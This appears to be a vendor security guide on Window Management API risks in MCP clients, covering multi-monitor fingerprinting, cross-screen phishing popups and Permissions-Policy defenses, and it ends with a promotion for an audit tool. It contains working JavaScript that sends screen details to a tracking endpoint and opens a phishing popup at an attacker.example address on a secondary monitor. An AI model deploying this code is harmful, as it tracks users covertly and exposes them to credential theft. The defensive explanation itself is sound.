Security Guide
MCP server Window Management API security — multi-monitor fingerprinting, cross-screen popup placement, and screen detail enumeration
The Window Management API (screen.getScreenDetails()) provides JavaScript with access to all connected monitors' complete layout — dimensions, positions, device pixel ratio, internal/external status, and primary designation. For multi-monitor users, this is an extremely precise device fingerprint: exact monitor count, model-identifiable dimensions, and physical layout. MCP server tool output that can trigger a window.open() call with cross-screen coordinates can open popups on monitors outside the user's current viewport, enabling targeted clickjacking on secondary screens. Permissions-Policy: window-management=() blocks the full enumeration API, but primary screen dimensions remain accessible via window.screen without a permission prompt.
What Window Management API exposes and where MCP servers encounter it
The Window Management API (Chrome 100+, formerly "Multi-Screen Window Placement") provides browser JavaScript with full multi-screen layout data when the user grants the window-management permission. Applications that need to place windows precisely across multiple monitors — trading terminals, video walls, presentation software, multiscreen dashboards — use this API to know the geometry of each attached display.
MCP clients used in professional or power-user contexts (developers, analysts, traders) frequently run on multi-monitor setups. MCP tool output that can trigger a user gesture on the page (a button click, an enter-press on a form) can call screen.getScreenDetails() with the transient activation from that gesture — bypassing the permission prompt in some browsers if the gesture happened in the same task as the API call.
// Multi-monitor fingerprint via Window Management API
// Requires 'window-management' permission — or use fallback without it
// Attempt full enumeration (requires permission)
async function multiScreenFingerprint() {
try {
// Requires transient user activation (button click, keyboard enter)
const screenDetails = await screen.getScreenDetails();
const screens = screenDetails.screens.map(s => ({
width: s.width,
height: s.height,
left: s.left, // X position in virtual screen space — reveals physical layout
top: s.top, // Y position — negative values = screen to the left of primary
devicePixelRatio: s.devicePixelRatio, // 1.0 | 1.25 | 1.5 | 2.0 | 2.5 — Retina vs non-Retina
isInternal: s.isInternal, // true = laptop display, false = external monitor
isPrimary: s.isPrimary, // identifies the primary display
colorDepth: s.colorDepth,
// orientation reveals portrait vs landscape per monitor
orientation: s.orientation?.type
}));
// Multi-monitor setup is extremely precise fingerprint:
// 3840×2160@2x internal + 2560×1440@1x external left = MacBook Pro 16" + LG 27QHD
// Narrows to O(thousands) of users vs O(millions) for single-screen resolution
navigator.sendBeacon('/track', JSON.stringify({ screens, count: screens.length }));
} catch (e) {
// Fallback: primary screen only — always available without permission
navigator.sendBeacon('/track', JSON.stringify({
screens: [{
width: screen.width,
height: screen.height,
devicePixelRatio: window.devicePixelRatio,
colorDepth: screen.colorDepth,
availWidth: screen.availWidth, // reveals taskbar size — OS-specific
availHeight: screen.availHeight
}]
}));
}
}
Multi-monitor screen layout is significantly more fingerprintable than single-screen resolution. The combination of monitor count, individual resolutions, relative positions (left/top in virtual space), and devicePixelRatio values for each screen narrows device identity dramatically. A user with a 14" MacBook Pro + two specific external monitors has a layout shared by far fewer users than any single resolution value. The isInternal field further reveals whether any display is a laptop built-in screen.
Cross-screen popup placement for off-viewport clickjacking
Once the Window Management API has revealed the layout of connected screens, injected code can use window.open() with screen-coordinate-aware position and size parameters to open a popup precisely positioned on a secondary monitor. Most users do not monitor browser popup behavior on secondary screens with the same vigilance as their primary screen. A popup opened at the center of a secondary monitor — where the user's email client, Slack, or terminal lives — can overlay critical UI with a phishing form or credential-stealing dialog.
// Cross-screen popup attack — places window on secondary monitor
// Triggered from injected button click in tool output
async function crossScreenPopup() {
const screenDetails = await screen.getScreenDetails();
const secondaryScreen = screenDetails.screens.find(s => !s.isPrimary);
if (secondaryScreen) {
// Open a popup precisely centered on the secondary monitor
const popupWidth = 480;
const popupHeight = 320;
const centerX = secondaryScreen.left + (secondaryScreen.width - popupWidth) / 2;
const centerY = secondaryScreen.top + (secondaryScreen.height - popupHeight) / 2;
window.open(
'https://attacker.example/phish',
'_blank',
`left=${centerX},top=${centerY},width=${popupWidth},height=${popupHeight},popup=true`
);
// Popup appears on secondary monitor — user may not notice immediately
// Meanwhile, the main MCP client tab continues operating normally
}
}
| Attack | Window Management surface | What it enables |
|---|---|---|
| Multi-monitor fingerprint | getScreenDetails().screens[] |
Monitor count, exact dimensions, physical layout — narrows to specific hardware configuration |
| Retina/display generation fingerprint | devicePixelRatio per screen |
Identifies Apple Retina displays, Windows scaling settings, OLED vs LCD panels |
| Cross-screen popup placement | window.open() with screen-layout coordinates |
Phishing popup positioned on secondary monitor — outside user's primary focus area |
| Permission-free primary screen data | window.screen — always accessible |
Resolution, DPR, colorDepth, availWidth (reveals taskbar height/width, OS type) |
| isInternal detection | screen.isInternal |
Distinguishes laptop (internal display present) from desktop (all external) — hardware class |
Permissions-Policy control and defenses
The Window Management API has a Permissions-Policy directive: window-management. Setting Permissions-Policy: window-management=() in the application's HTTP response header prevents any JavaScript in the page (including tool output injections) from calling screen.getScreenDetails(). This is the most direct control for blocking full multi-monitor enumeration.
However, the baseline window.screen object — primary screen dimensions, devicePixelRatio, colorDepth, and available size — remains accessible without any permission and without a Permissions-Policy override. MCP applications cannot fully suppress screen data via policy; the architectural defense of cross-origin sandboxed iframe rendering is necessary to prevent this data from being combined with application-origin session data.
window.screen is always available without permission, regardless of Permissions-Policy: window-management=(). The Permissions-Policy directive blocks getScreenDetails() but not window.screen.width, window.screen.height, window.screen.colorDepth, window.devicePixelRatio, or window.screen.availWidth. These values remain fingerprinting signals in all deployment configurations.
SkillAudit findings for Window Management API exposure
Audit your MCP server for Window Management API risks
SkillAudit checks for Permissions-Policy coverage, tool output isolation, and multi-screen fingerprinting attack surfaces — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →